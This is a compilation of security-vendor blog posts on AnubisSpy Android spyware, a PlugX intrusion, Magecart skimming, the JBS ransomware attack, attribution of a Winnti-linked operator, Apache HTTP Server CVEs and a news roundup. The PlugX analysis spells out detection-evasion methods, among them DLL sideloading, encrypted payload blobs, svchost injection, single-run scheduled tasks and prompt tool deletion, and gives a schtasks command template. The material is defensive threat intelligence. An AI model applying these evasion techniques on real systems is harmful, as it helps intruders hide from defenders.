These apps were all written in Arabic and, in one way or another, related to something in Egypt (i.e., spoofing an Egypt-based TV program and using news/stories in the Middle East) regardless of the labels and objects in the apps.
Our coordination with Google also revealed that these apps were installed across a handful of countries in the Middle East.
Was AnubisSpy actively distributed?
We analyzed seven apps that were actually AnubisSpy.
These were signed with the same fake Google certificates.
We found two more apps created by the same developer, but they had no espionage-related codes; we think they were made as experimental projects.
Based on hardcoded strings in the Agent Version, the malicious apps were developed as early as April 2015.
Timestamps indicate that the earliest sample was signed on June 2015; the latest variant was signed on May 2017.
AnubisSpy wasn’t only published on Google Play.
We also found versions of it in third-party app marketplaces, most likely as a way to expand the malware’s reach.
The apps mainly used Middle East-based news and sociopolitical themes as social engineering hooks and abused social media to further proliferate.
Versions of AnubisSpy posed as social news, promotional, healthcare, and entertainment apps.
What does AnubisSpy mean to the mobile landscape?
Persistent and furtive spyware is an underrated problem for the mobile platform.
While cyberespionage campaigns on mobile devices may be few and far between compared to ones for desktops or PCs, AnubisSpy proves that they do indeed occur, and may have been more active than initially thought.
Will mobile become cyberespionage’s main frontier?
It won’t be a surprise given mobile platform’s increasing ubiquity, especially in workplaces.
Beyond its effects, AnubisSpy also highlights the significance of proactively securing mobile devices, particularly if they’re on BYOD programs and used to access sensitive data.
Enforcing the principle of least privilege and implementing an app reputation system are just some of the best practices that can help mitigate threats.
We disclosed our findings to Google on October 12 and worked with Google on further analyzing the AnubisSpy-related apps.
Updates were also made to Google Play Protect to take appropriate action against those apps that have been verified as in violation of Google Play policy.
An in-depth technical analysis of AnubisSpy, along with indicators of compromise, is in this technical brief.
Trend Micro Solutions
End users and enterprises can also benefit from multilayered mobile security solutions such as Trend Micro™ Mobile Security which is also available on Google Play.
For organizations, Trend Micro™ Mobile Security for Enterprise provides device, compliance and application management, data protection, and configuration provisioning, as well as protects devices from attacks that leverage vulnerabilities, preventing unauthorized access to apps, as well as detecting and blocking malware and fraudulent websites.
Trend Micro’s Mobile App Reputation Service (MARS) covers Android and iOS threats using leading sandbox and machine learning technologies.
It can protect users against malware, zero-day and known exploits, privacy leaks, and application vulnerability.
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Advanced persistent threats (APT) are known — and are universally dreaded — for their stealth.
Actors behind such attacks actively innovate their techniques to evade detection and ensure that they maintain a foothold inside an environment as long as possible.
Through the Apex One with Endpoint Sensor (iES), we discovered one such incident wherein an attacker utilized sophisticated techniques in an attempt to exfiltrate sensitive information from a company.
The unique tactics, techniques, and procedures (TTPs) used in this attack highlight the importance of cross-layered detection and response solutions.
Technical analysis
Detection
We noticed the execution of schtasks.exe with the command line parameter “schtasks /create /tn <name> c:\programdata\<software name>\<file name>.bat /sc /once /st <time> /ru <user account>”.
The scheduled task was not created for persistence.
The batch file that was to be executed had a suspicious name that stood out.
This prompted us to dig deeper.
Evasion
The image file of the process residing in the Windows directory that triggered the schtasks command was marked as normal.
However, a quick check on VirusTotal showed that the file's name and usual location differed from what was found in the victim machine.
PlugX and  malicious BLOBs
The normal file loads a seemingly normal dynamic-link library (DLL) named after a common Microsoft DLL.
However, we saw that the hash of the DLL does not match any of the known hashes of a normal DLL.
Reversing the file revealed that it was the PlugX loader, a remote access tool (RAT) that has been historically used in attacks targeting government-related industries and organizations.
We then observed that it decrypts, loads, and executes another DLL file named after another Microsoft DLL file, but is actually an encrypted Binary Large Object (BLOB).
Figure 1 below shows the relationship between these three files.
Figure 1.
The relationship between the normal file used, the PlugX, and the malicious BLOB
Despite being around for quite some time, PlugX is still effective at evading detection.
The variant used in this attack has three parts:
A normal file
A DLL loader that the normal file expects to be present
An encrypted BLOB file containing the malicious code
Of the three, the loader would be the easiest to detect.
However, because the file is so simple and straightforward, it is easy for attackers to create multiple versions of the said file to evade detection.
Detection support for the BLOB is probably low.
Because of its being “free form,” detection engines would have a hard time parsing through its contents to find the malicious code which potentially made detection for EPPs and EDR difficult.
Aside from this, changing the encryption mechanism or packer would result in a totally different BLOB.
It should be noted that we have also observed an increase use of BLOB files since 2020.
The malicious code would run in the address space of the normal file.
This could allow the malicious code to evade behavior-monitoring features as endpoint protection platforms (EPP) would see the process as normal.
This is detailed in the next section.
A closer look at PlugX
svchost injection
This variant of PlugX (detected by Trend Micro as Backdoor.
Win32.PLUGX.DYSGUT), including the code in the BLOB, launches an svchost.exe process and injects to it.
Usually, svchost is launched by services.exe, so the action done by PlugX could be used as a trigger for investigation.
Svchost injection is not new — in fact, Trickbot and other malware variants use this technique.
The difference between Trickbot and PlugX is that Trickbot is much easier to detect.
Trickbot’s binary, which is not whitelisted, does the injection; in PlugX’s case, a normal process that is possibly whitelisted, does the injection.
It is possible for EPP behavior-monitoring features to allow the action of the whitelisted process to go through.
This gives the attacker access to a RAT running inside a normal process.
A unique way of launching tools
Our investigation shows that the attacker used other tools during the attack.
The tools used varied from network scanners to account harvesters.
The simplest way of using these tools is to have the injected code in svchost download, drop, and execute the tools.
Figure 2.
A straightforward approach to launching a malicious tool
The approach above, although simple, could potentially generate a lot of suspicious telemetry events –  svchost.exe suddenly launching an unknown application could trigger alerts.
To avoid this, the attacker chose a different approach.
For every tool that needs to be run, it creates three things:
The auxiliary tool file
<filename>.bat file
Cmd.exe with a schtasks.exe command to create a scheduled task to run the batch file above
Instead of directly launching the auxiliary tool, it makes use of a scheduled task that runs the batch file that, in turn, executes the tool.
The attacker’s usage of a tool can be divided into two separate events: the dropping of the tool by the svchost.exe process that runs the malicious code and the execution of the tool via the scheduled task.
Figure 3.
A diagram showing the dropping of the auxiliary tool
If the creation of the tool, batch file, and scheduled task is disregarded, it would seem that there is no connection between PlugX and the execution of the auxiliary tool.
However, a deeper investigation proved otherwise.
Figure 4.
Launching the auxiliary tool via the scheduled task
Scheduled tasks are usually associated with persistence or privilege escalation, which is not the case in this incident.
Having the scheduled task run only once removes the notion of persistence.
Meanwhile, having the same user account launch the PlugX process and the auxiliary tool shows that the scheduled task is not for privilege escalation.
One possible reason why the attacker chose this technique is to make analysis and forensics, such as via EDR, more difficult.
The disjoint between the dropping and the execution of the auxiliary tool might cause problems in EDR's rendering of RCA graphs, specifically in providing important information about the attack.
Security analysts will have to rely on telemetry data to provide a more complete picture of said attack.
In this incident, the attacker used a specific tool to gather information kept by the organization.
However, the attacker was able to delete it before we were able to get our hands on the tools used for investigation purposes.
An analysis of these tools could be used to better understand what is happening or what has happened in the environment.
Whenever a tool is used, the attacker deletes it from the disk as soon as it has done its purpose – which usually does not last for more than 15 minutes.
This means that acquiring the tools used would be more difficult.
For the attacker, immediately deleting the tool once it performs its intended purpose means being able to extend its shelf life.
What enterprises and organizations should look out for
In incidents like this, wherein the attacker makes sure that the tools used are not detected, threat hunting is a good weapon to have for defense.
Sifting through suspicious events and trying to piece them together to understand what has transpired could help identify such attacks.
Based on our investigation of this specific attack, we provide helpful tips for enterprises and organizations to spot PlugX and lateral movement in their environments.
How to identify PlugX
PlugX’s use of a normal file makes it hard for antivirus (AV) or EPP to detect it.
Threat hunters can use this to possibly identify other machines that have PlugX installed: Using attributes that could identify the normal file, such as the hash and the digital signer, a sweeping task could be carried out to identify instances of the normal file.
Chances are, the normal file that loads the rest of PlugX uses a file name that is different from what it normally uses or is in a location where it is not usually found.
For example, Microsoft’s outlook.exe is usually found in the Program Files directory.
Finding a normal outlook.exe in the Windows directory makes it suspicious.
Finding such entries that stand out could help identify how wide the infection is.
How to spot lateral movement
In this particular attack, we observed that to perform lateral movement, the attacker mapped Windows admin shares and used remotely created scheduled tasks to launch malware.
Both events never or rarely happened in the victim’s environment.
The importance of looking into anomalous events
When identifying PlugX and lateral movement techniques utilized in attacks, it’s important to be able to determine anomalous events.
It was relatively easy for us to flag the events related to the breach because they were anomalies; after looking into these anomalies, we were able to map them out to known techniques that attackers previously used.
Keeping an eye on anomalous events could help detect incidents earlier.
In order to have effective visibility and correlation at all times, enterprises need to have an integrated view of all of their interconnected security solutions.
Automated protection and efficient threat hunting, investigation, and response, such as that provided by Trend Micro XDR, will help ensure that enterprises are secured from advanced threats.
Trend Micro Solutions
Trend Micro’s comprehensive XDR solution applies the most effective expert analytics to the deep data sets collected from Trend Micro solutions across the enterprise — including email, endpoints, servers, cloud workloads, and networks — making faster connections to identify and stop attacks.
Powerful artificial intelligence (AI) and expert security analytics correlate data from customer environments and Trend Micro’s global threat intelligence to deliver fewer, higher-fidelity alerts, leading to better, early detection.
One console with one source of prioritized, optimized alerts supported with guided investigation simplifies the steps needed to fully understand the attack path and impact on the organization.
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"A few weeks ago, British Airways was hit by the largest ever regulatory fine of its kind, after global customers visiting its website had their card data stolen.
The $228m penalty levied by the UK’s privacy watchdog reflects the seriousness of the attack and the carrier’s failure to protect its customer’s personal and financial information.
However, this incident has repercussions way beyond the UK airline and its customers.
It’s part of a new wave of attacks designed to implant “digital skimming” code on e-commerce sites, in order to siphon off your card details as they are entered in to pay for goods.
Although tens of thousands of websites have been caught out in this way, there are things you can do to stay safe—most notably by running Trend Micro Security.
But first, here’s more on what you need to know.
The story so far
Data breaches are so often in the news headlines today, that you could be forgiven for becoming a little desensitized.
From retailers like Target and Home Depot to government breaches at agencies including the Office of Personnel Management (OPM), and from financial organizations like Equifax to tech giants like Yahoo, billions of our personal records have been stolen by cyber-thieves over the past few years.
Yet in all of these cases, there has been little the customer could do about it.
That’s because the hackers target the organization directly.
They find ways to bypass its security controls and sneak inside the company networks to find what they’re looking for: usually databases full of customer data.
A new type of data breach
However, these new digital skimming attacks are different.
In what way?
They involve a hacker deploying malicious code known as Magecart to an organization’s website.
This code is typically designed to stay hidden, under the radar of the company.
And it has a very specific purpose: to steal customer card details as they are entered into the site during payment.
In short, it’s the digital equivalent of those physical skimming devices that criminals insert into ATMs to steal card data as it’s entered: it’s highly effective and happens completely without the knowledge of the cardholder.
By using this method, the hackers get access to the full card details, which have a higher resale value on the cybercrime black market.
The problem (for them) with the more traditional types of attack targeting back-end databases, is that these organizations may store card data encrypted, or else minus the crucial CVV/CV2 code.
Magecart attacks get around that.
What sites are at risk?
Indeed, the Magecart attackers have proven over the past year that no website is safe from skimming attacks.
Whether it’s a big-name e-commerce brand like Newegg, a national airline, a global ticketing site (Ticketmaster), or even online campus stores serving nearly 200 universities in the US and Canada–as long as they accept online payments, they’re at risk.
Magecart is so effective that multiple groups are said to be using the code, a piece of malicious JavaScript, to infect websites around the world.
And they’re developing new tools and tactics all the time to improve their monetization.
These include:
Infecting third-party companies which supply code to other sites (e.g., those that provide online ad services).
Thus, with just one attack, the hackers can get their Magecart code onto potentially thousands of payment pages.
Using automated tools to scan the internet for companies that may be running unsecured servers, which they can then infect with Magecart.
Some 17,000 sites were recently compromised in this way.
In a separate attack, 962 online stores were hit in just 24 hours.
Developing new skimming code which is usable across as many different payment pages as possible.
The record is 57 different payment gateways, which makes the hackers’ job much easier as they can launch attack campaigns across the globe with the same tools
All this is bad news for online shoppers.
So how do you know that the site you’re entering card data into is safe?
What can you do to stay safe?
Unfortunately, there’s nothing obvious that differentiates a website infected with Magecart from any other site.
It will look completely normal and will allow you to pay in the usual manner.
The only difference is that, in the background, a tiny piece of code will be stealing your data and transferring it to the hackers.
So what can you do to protect yourself?
You could try to avoid smaller sites that may not have the same level of security as larger ones.
However, as we’ve seen, Magecart has hit big-name brands as well as less well-known companies.
Another option would be to use a browser plug-in like NoScript for Firefox that prevents JavaScript loading from other untrusted sites – although this won’t prevent you getting potentially stung if the well-known and trusted site you’re on is compromised
Payment systems like Apple Pay and Google Pay can offer more protection.
They use a one-time generated series of numbers for each transaction, so that if attackers get their hands on it, they won’t be able to use it in the future.
It goes without saying that you should keep a close eye on your card statements/bank account at all times – watching out even for small amounts that hackers may be making to test if your card is still active.
However, the most effective way to stay safe is to use Trend Micro Security.
How Trend Micro can help
Trend Micro Security features two key mechanisms to help stop Magecart attacks:
It can detect whether the website you want to visit has been injected with skimming code, and block you from visiting the URL (via web reputation), as well as from going to malicious domains the skimming code has access to.
It uses a combination of techniques (via its Advanced Threat Scanning Engine and TrendX-File machine learning) to detect whether the malicious JavaScript code has landed on your local drive and is ready to run in your browser – and then blocks it.
This can spot both Magecart and similar digital skimming code.
Read our Security Intelligence Blog for more technical details on Magecart.
Then go to our Security Products Overview to get Trend Micro Security. ""
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One of the largest meat suppliers in the world, JBS was recently affected by a ransomware attack.
In a statement released on May 30, 2021, the company said that the attack affected some of its servers that support its North American and Australian IT Systems.
According to a report by Bloomberg, JBS USA had shutdowns at its nine beef plants on Tuesday, May 31.
The company's meatpacking facilities across the US have also experienced some level of disruptions to operations, said an official with the United Food and Commercial Workers International Union.
Meanwhile, JBS's slaughter operations in 47 sites across Australia were also disrupted.
David Littleproud, Australia's agriculture minister, said that the attack had locked up the systems JBS used for quality assurance in meat processing.
On Tuesday, the Brazilian meat supply giant said that while the ransomware attack affected its Australia and North America operations, their systems were slowly being restored from backup.
The FBI, the Australian, and Canadian authorities have been helping JBS to locate the attackers, which are believed to be in Russia.
In a statement released on June 2, the FBI attributed the attack to REvil and Sodinokibi.
The bureau added that they are "working diligently to bring the threat actors to justice"
According to Principle Press Secretary Karine Jean-Pierre, the White House also is working directly with the Department of Agriculture.
The White House has also reached out to various meat processors in the US, ensuring that they are aware of the situation.
The JBS cyber attack comes just three weeks after Colonial Pipeline, the US's largest pipeline system, was targeted in a ransomware attack.
Earlier in May, Ireland's Health Service Executive (HSE) was also hit by a ransomware attack, which continues to result in major issues.
Twenty days later, HSE continues to face IT system difficulties, causing delays in some of its services.
With ransomware and various cyber-attacks continually targeting critical infrastructure and enterprises, the need for stronger and more robust cybersecurity is important more than ever.
Executives and decision-makers must understand that cybersecurity is not just an IT issue but a major element that affects the entire organization and its operations.
At the forefront of cybersecurity solutions, Trend Micro offers extensive forward-looking research and studies, aiming to help enterprises and decision-makers safeguard their businesses and infrastructures.
To learn more about keeping your enterprise secure, read "Best Practices for Securing Smart Factories: Three Steps to Keep Operations Running" which explores security issues faced by smart factories and defense strategies that can be used.
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Updated on April 26, 2017, 01:39 PM (UTC-7) to add the accurate IP address.
In one of our previous blog entries, we covered how the threat actor known as Winnti was using GitHub to spread malware – a development that shows how the group is starting to evolve and use new attack methods beyond their previous tactics involving targeted attacks against gaming, pharmaceutical, and telecommunications companies.
Through this entry, in which we take a closer look at an individual who we believe might be connected to the Winnti group, we hope to give both ordinary users and organizations better insights into some of the tools – notably the server infrastructures- these kinds of threat actors use, as well as the scale in which they operate.
Searching Domain Registrations for Clues
Threat actors typically register and use several domains in order to discretely lead their malware to their Command and Control (C&C) servers.
Registering a domain name always requires some form of identifying information: a physical or mailing address, an email address, and a phone number.
Of these, a valid email address holds the greatest importance because it is where the registrar sends the confirmation of a domain purchase to the new owner in addition to the information needed to control the domain.
Most fraudsters create one-time email addresses or use stolen email addresses, both of which are easy to create or obtain.
However, over time, it becomes tedious for fraudsters to constantly change information when registering new domains.
This is the point where they are likely to make mistakes and start reusing e-mail addresses.
A careful analysis of the domain registrations from this threat actor between 2014 and 2015 allowed us to identify one profile used to register several domains that were used as C&C servers for a particular malware family employed by the Winnti group.
In particular, we managed to gather details on an individual using the handle Hack520, who we believe is connected to Winnti.
Who is the Winnti group?
The group behind the Winnti malware (which we will call the Winnti group for brevity) sprung up as a band of traditional cyber crooks, comprising black hats whose technical skills were employed to perpetrate financial fraud.
Based on the use of domain names they registered, the group started out in the business of fake/rogue anti-virus products in 2007.
In 2009, the Winnti group shifted to targeting gaming companies in South Korea using a self-named data- and file-stealing malware.
The group, which was primarily motivated by profit, is noted for utilizing self-developed technically-proficient tools for their attacks.
They once attacked a game server to illicitly farm in-game currency (“gaming gold”, which also has real-world value) and stole source codes of online game projects.
The group also engaged in the theft of digital certificates which they then used to sign their malware to make them stealthier.
The Winnti group diversified its targets to include enterprises such as those in pharmaceutics and telecommunications.
The group has since earned infamy for being involved in malicious activities associated with targeted attacks, such as deploying spear-phishing campaigns and building a backdoor.
During the course of researching the Winnti group, we came across previously unreported malware samples that we attributed to the group based on the malware arsenal and the use of registered domains as attack infrastructure.
These samples led us to the discovery of additional C&C servers that provided us with more information than we initially expected.
A closer look at Hack520
Our initial investigation on the domains registered by Hack520 revealed that similar domains (listed below) were registered by another profile.
hack520[.]co[.
]kr
shaiya[.
]kr
zhu[.
]kr
shenqi[.
]kr
zhuxian[.
]kr
Several of these domains are linked to variants of malware that were used by the Winnti threat actor.
Surprisingly enough, it does not take very long to get some information about Hack520: someone with this handle runs a blog and a Twitter account (with a handle close to Hack520) that is also directly linked to the blog.
Figure 1: Twitter account of Hack520
One interesting detail about Hack520 is his apparent love for pigs, as seen in his use of the word in his email addresses.
He also mentions his occupation as a “pig farmer” in online message boards.
In addition, Hack520’s tweets always show photos of the same animal, which is likely his pet pig.
The Twitter handle used by Hack520 indicates also an “est” portion.
This “est” reference could refer to a hacking group with its own message board on which hack520 also posts regularly.
In one particular forum post, Hack520 mentions that he was previously jailed for a period of 10 months in a blog post dated May 31, 2009.
Figure 2: Post from Hack520’s blog
A rough translation of this message is as follows:
“Fxxk, when I am released, the server is offline, I can’t find the machine, the domain is expired, it is so bad.
I wasted 10 months, I have failed and lost my money.”
Hack520 seems to be very interested in hosting services and his profile fits that of a system administrator profile with some programming and hacking skills.
After further research, we were able to link Hack520 to different network administration activities, notably with a Virtual Private Server (VPS) hosting service.
The way Hack520 signs his messages in one hacker forum provides a clue pointing to this connection.
While one of his signatures uses his own blog domain, there is also a second signature which uses 93[.
]gd, a domain that was found to have been actively selling VPS services in the past.
The email address admin@93[.
]gd is linked to IP addresses owned by a certain user with the nickname “PIG GOD”—another reference to Hack520’s passion for pigs.
Among the IP addresses owned by Hack520 is a whole/22 IP Range which we dubbed as the “PIG RANGE”.
The IP range for “PIG GOD” is 43[.]255[.
]188.0/22, which appears to be hosted in Hong Kong as seen in the information we found:
inetnum: 43[.]255[.]188[.
]0 - 43[.]255[.]191[.
]255
netname: PIG-HK
description: PIG GOD
country: HK
admin-c: PG406-AP
tech-c: PG406-AP
person: pig god
country: HK
phone: +852-39437000
e-mail: admin@66[.
]to
nic-hdl: PG406-AP
mnt-by: MAINT-RAIBOW-HK
changed: admin@66[.
]to 20160917
source: APNIC
The domain 66[.
]to leads to another website that shows Hack520’s pet pig.
It also reveals direct links to secure[.]66[.
]to and zhu[.
]vn, both of which also belong to Hack520 and contains his personal blog.
Figure 3: Hack520’s pet pig
We were able to find additional links between Hack520’s “Pig network” and the Winnti group’s activities.
This includes hosting C&C domains that were used by Winnti such as mtrue.com, shenqi[.
]kr and zhu[.]kr.
We also found a live service selling VPS hosting at secure[.]66[.]to.
The hosting services offered at secure[.]66[.
]to are in fact hosting services rented to other companies worldwide.
The contents found in secure[.]66[.
]to often lead to zhu[.
]vn, which is Hack520’s domain for hosting his own private blog.
Figure 4: Screenshot of secure[.]66[.
]to
We found roughly 500 domain names that lead or have led to the “Pig network” between 2015 to March 2017.
Most of these domains seem to have contained illegitimate content like pornography and online gambling.
We highly suspect the “Pig network” to have also been used as a bulletproof hosting service for cybercriminals who are unrelated to the Winnti group.
From what we’ve seen in Hack520’s blog, as well as the infrastructure deployed around it, it is quite safe to say that Hack520 is involved in aspects of the VPS service activity provided to groups like Winnti and other cybercriminals or threat actors.
What we’ve learned
Threat actors like the Winnti group rarely ever stay static in terms of both tools and tactics.
As we’ve already previously discussed in our 2017 predictions, these groups will constantly evolve and employ unique and advanced attack techniques.
In addition, individuals like Hack520 prove that these threat actors are composed of varied individuals who have their own set of expertise.
All of these things point to threat actors and groups like Winnti will continue to try different methods of attack.
Threat actors are always looking to expand the strategies they use, thus security practices and solutions that work for less organized cybercriminals might not work for determined groups who are willing to spend time, resources and manpower to accomplish their goals.
As such, there is a need for everyone to be proactive when it comes to security, especially for organizations who are frequently the victims of targeted attacks.
By creating awareness and using the right solutions, both individuals and organizations can take the steps needed to defend against the malicious tactics used by threat actors like the Winnti group.
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Research
As organizations reeled from the Log4Shell vulnerability (CVE-2021-44228), cyberattacks aiming at open-source web servers, like Apache HTTP Server, were rapidly rising.
Malicious actors take advantage of people’s reliance on web servers to perform attacks like remote code execution (RCE), access control bypass, denial of service (DoS), or even cyberjacking the victim servers to mine cryptocurrencies.
To protect enterprises against malicious activities, we need more than just timely patches.
Using software composition analysis (SCA) to discover issues in each layer of the software supply chain has become a must in 2022.
Vulnerabilities of Apache HTTP Server have increased since 2017
Open-source web servers, especially Apache HTTP Server, have been heavily exploited in the past five years.
Compared to Nginx, another widely used open-source web server, Apache had the greatest increase in vulnerabilities over the past five years – particularly high-risk ones.
According to the Apache HTTP Server webpage, from 2012 to 2016 there were a total of 31 vulnerabilities found in the Apache HTTP Server.
However, from 2017 to 2021 the total vulnerabilities number surged to 57.
2021 alone accounted for 14 of those vulnerabilities, breaking a 17-year record high.
Most importantly, two vulnerabilities found in 2H’2021 (CVE-2021-42013, CVE-2021-41773) were rated by Apache’s rating system as “Critical”.
Before that, there were no vulnerabilities rated at this level.
The “Critical” vulnerabilities have the potential to be exploited by a remote attacker to get Apache to execute arbitrary code.
They could also be exploited automatically by worms.
Source: Apache HTTP Server Project
Weaponized vulnerabilities lead to great risk
Not only has the number of total Apache HTTP Server vulnerabilities gone up, but so has the number of weaponized vulnerabilities.
Trend Micro detected that at least 15 of the 57 vulnerabilities found in the past five years were weaponized and used in malicious activities.
The most common types of attack include denial of service (DoS), path traversal, server-side request forgery (SSRF), and remote code execution (RCE).
Multiple vulnerabilities found in 2021 are proven to have been actively exploited.
Table 1: The 15 vulnerabilities weaponized since 2017
CVE ID
cvss3 score
Description
CVE-2021-42013
9.8
Path Traversal and Remote Code Execution in Apache HTTP Server 2.4.49 and 2.4.50 (incomplete fix of CVE-2021-41773)
CVE-2021-41773
7.5
Path traversal and file disclosure vulnerability in Apache HTTP Server 2.4.49
CVE-2021-40438
9
mod_proxy SSRF
CVE-2020-11984
9.8
mod_proxy_uwsgi buffer overflow
CVE-2019-10098
6.1
mod_rewrite potential open redirect
CVE-2019-10097
7.2
CVE-2019-10097 mod_remoteip Stack buffer overflow and NULL pointer dereference
CVE-2019-0190
7.5
mod_ssl 2.4.37 remote DoS when used with OpenSSL 1.1.1
CVE-2018-8011
7.5
mod_md, DoS via Coredumps on specially crafted requests
CVE-2018-1303
7.5
Possible out of bound read in mod_cache_socache
CVE-2018-11763
5.9
DoS for HTTP/2 connections by continuous SETTINGS
CVE-2017-9798
7.5
Use-after-free when using <Limit > with an unrecognized method in .htaccess ("OptionsBleed")
CVE-2017-9788
9.1
Uninitialized memory reflection in mod_auth_digest
CVE-2017-7668
9.8
ap_find_token() Buffer Overread
CVE-2017-7659
7.5
mod_http2 Null Pointer Dereference
CVE-2017-15715
8.1
<FilesMatch> bypass with a trailing newline in the file name
Source: Apache HTTP Server Project, Trend Micro Inc., NVD
CVE-2021-41773 and CVE-2021-42013, the two critical vulnerabilities, are perfect examples of how attackers exploit the vulnerabilities in the Apache HTTP Server.
As Trend Micro reported, these two are path traversal vulnerabilities that allow attackers to map URLs to files/directories outside of the webroot.
In certain configurations where Common Gateway Interface (CGI) scripts are enabled for these paths, attackers can achieve RCE on the vulnerable server.
Both discovered in early October 2021, CVE-2021-41773 and CVE-2021-42013 were detected with more than four million exploits by the end of 2021.
Another Apache HTTP Server vulnerability, CVE-2021-40438, shows how great the impact can be when the vulnerability gets exploited.
CVE-2021-40438 is a vulnerability existing in the mod_proxy module and prone to SSRF.
This flaw allows a remote, unauthenticated attacker to make the httpd server forward requests to an arbitrary server.
The attacker could get, modify, or delete resources on other services that may be behind a firewall and inaccessible otherwise.
The impact of this flaw varies based on what services and resources are available on the httpd network.
CVE-2021-40438 has a huge impact on products from Cisco, IBM QRadar SIEM, Debian Linux, F5 Os, Red Hat and more.
On December 1, 2021, CISA added CVE-2021-40438 to its list of known exploited vulnerabilities.
Schemes behind the attacks
The attacks that target open-source web servers could lead to enormous threats.
Once any web server vulnerability gets exploited and hacked, the victim server can be taken over and used for malicious activities.
The most common activities include using victim servers to send out spam mail or launching attacks against other servers at the cost of the victim server’s memory and bandwidth.
Attackers can also install a phishing website on the victim server to gain access to any data that passes through it.
However, the most popular utility of attacks in recent years is cryptojacking: hackers exploit the vulnerability and secretly use the victim server’s computing power to mine popular cryptocurrencies.
Trend Micro revealed how cyber actors used the vulnerabilities and abuse of GitHub and Netlify repositories to mine Monero.
For cybercriminals, Apache HTTP Server is always a favorite target: It serves 24.63% of the million busiest websites according to Netcraft stats.
Major web service providers such as Slack, Linkedin, The New York Times, GrubHub, and more rely on Apache HTTP Server.
For IT professionals, it’s challenging to patch such a vital service and not to harm user satisfaction.
Furthermore, the complexity of the software supply chain nowadays exacerbates the abuse of open-source software vulnerabilities.
Cyber attackers could compromise software components of third-party suppliers by inserting malicious code inconspicuously.
Compared to the traditional supply chain, the software supply chain requires more layers of verification to ensure its security.
Protect your web server against potential harm
To mitigate the potential risk of attacks from open-source software, software composition analysis (SCA) has become an effective approach.
SCA identifies and lists all the parts and versions present in the code.
It also checks each specific service and looks for outdated or vulnerable libraries that may pose security risks to the application.
These tools can also check for legal issues regarding the use of open-source software with different licensing terms and conditions.
Trend Micro published a whitepaper on how to prevent supply chain attacks in the age of cloud computing in 2020 October.
Developing a risk-based approach to patch management can help organizations identify and prioritize which vulnerabilities they need to deal with now.
This approach consists of:
Continuously conducting exposure assessments to determine what CVEs – past and present – are in your environment at all times.
Assessing the criticality of those systems that contain those CVEs.
Conducting a continuous but simple risk assessment:
Assessing the likelihood that those identified CVEs are or will be exploited in the wild against the impact of those CVEs used in an attack.
i.
Is a POC available
ii.
Is it in the wild
If you struggle with patch management, you may look at virtual patching or IPS technology to help as these can be deployed to detect/block exploits of a vulnerability and allow you time to properly patch the vulnerability with the vendor’s patch.
Trend Micro’s Zero Day Initiative bug bounty program and our vulnerability research teams help us identify new vulnerabilities and develop virtual patches for our Cloud One, TippingPoint, Apex One, and Worry Free Services customers.
In some cases, we have virtual patches out months ahead of the vendor patch.
Malicious actors will continue to exploit vulnerable applications, operating systems, and devices in their efforts to attack organizations.
Improving your understanding of key applications like Apache can help you better understand where you can minimize your risk of attack.
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Welcome to our weekly roundup, where we share what you need to know about the cybersecurity news and events that happened over the past few days.
This week, learn about Trend Micro’s Cyber Risk Index (CRI) and its results showing increased cyber risk.
Also, read about a data breach from IoT company Wyze that exposed information of 2.4 million customers.
Read on:
The 5 New Year’s Tech Resolutions You Should Make for 2020
Now is the perfect time to reflect on the past and think of all the ways you can make this coming year your best one yet.
With technology playing such a central role in our lives, technology resolutions should remain top of mind heading into the new year.
In this blog, Trend Micro shares five tech resolutions that will help make your 2020 better and safer.
Security Study: Businesses Remain at Elevated Risk of Cyber Attack
Elevated risk of cyber attack is due to increased concerns over disruption or damages to critical infrastructure, according to the Trend Micro’s latest Cyber Risk Index (CRI) study.
The company commissioned Ponemon Institute to survey more than 1,000 organizations in the U.S. to assess business risk based on their current security postures and perceived likelihood of attack.
Parental Controls – Trend Micro Home Network Security Has Got You Covered
In the second blog of a three-part series on security protection for your home and family, Trend Micro discusses the risks associated with children beginning to use the internet for the first time and how parental controls can help protect them.
Cambridge Analytica Scandal: Facebook Hit with $1.6 Million Fine
The Cambridge Analytica scandal continues to haunt Facebook.
The company has been receiving fines for its blatant neglect and disregard towards users’ privacy.
The latest to join the bandwagon after the US, Italy, and the UK is the Brazilian government.
Why Running a Privileged Container in Docker is a Bad Idea
Privileged containers in Docker are containers that have all the root capabilities of a host machine, allowing the ability to access resources which are not accessible in ordinary containers.
In this blog post, Trend Micro explores how running a privileged, yet unsecure, container may allow cybercriminals to gain a backdoor in an organization’s system.
IoT Company Wyze Leaks Emails, Device Data of 2.4M
An exposed Elasticsearch database, owned by Internet of Things (IoT) company Wyze, was discovered leaking connected device information and emails of millions of customers.
Exposed on Dec. 4 until it was secured on Dec. 26, the database contained customer emails along with camera nicknames, WiFi SSIDs (Service Set Identifiers; or the names of Wi-Fi networks), Wyze device information, and body metrics.
Looking into Attacks and Techniques Used Against WordPress Sites
WordPress is estimated to be used by 35% of all websites today, making it an ideal target for threat actors.
In this blog, Trend Micro explores different kinds of attacks against WordPress - by way of payload examples observed in the wild - and how attacks have used hacked admin access and API, Alfa-Shell deployment, and SEO poisoning to take advantage of vulnerable sites.
FPGA Cards Can Be Abused for Faster and More Reliable Rowhammer Attacks
In a new research paper published on the last day of 2019, a team of American and German academics showed that field-programmable gate array (FPGA) cards can be abused to launch better and faster Rowhammer attacks.
The new research expands on previous work into an attack vector known as Rowhammer, first detailed in 2014
Emotet Attack Causes Shutdown of Frankfurt’s IT Network
The city of Frankfurt, Germany, became the latest victim of Emotet after an infection forced it to close its IT network.
There were also incidents that occurred in the German cities of Gießen, Bad Homburgas and Freiburg.
BeyondProd Lays Out Security Principles for Cloud-Native Applications
BeyondCorp was first to shift security away from the perimeter and onto individual users and devices.
Now, it is BeyondProd that protects cloud-native applications that rely on microservices and communicate primarily over APIs, because firewalls are no longer sufficient.
Greg Young, vice president of cybersecurity at Trend Micro, discusses BeyondProd’s value in this article.
How MITRE ATT&CK Assists in Threat Investigation
In 2013, the MITRE Corporation, a federally funded not-for-profit company that counts cybersecurity among its key focus area, came up with MITRE ATT&CK™, a curated knowledge base that tracks adversary behavior and tactics.
In this analysis, Trend Micro investigates an incident involving the MyKings botnet to show how the MITRE ATT&CK framework helps with threat investigation.
TikTok Banned by U.S. Army Over China Security Concerns
With backlash swelling around TikTok’s relationship with China, the United States Army this week announced that U.S. soldiers can no longer have the social media app on government-owned phones.
The United States Army had previously used TikTok as a recruiting tool for reaching younger users,
Mobile Money: How to Secure Banking Applications
Mobile banking applications that help users check account balances, transfer money, or pay bills are quickly becoming standard products provided by established financial institutions.
However, as these applications gain ground in the banking landscape, cybercriminals are not far behind.
What security controls do you have in place to protect your home and family from risks associated with children who are new internet users?
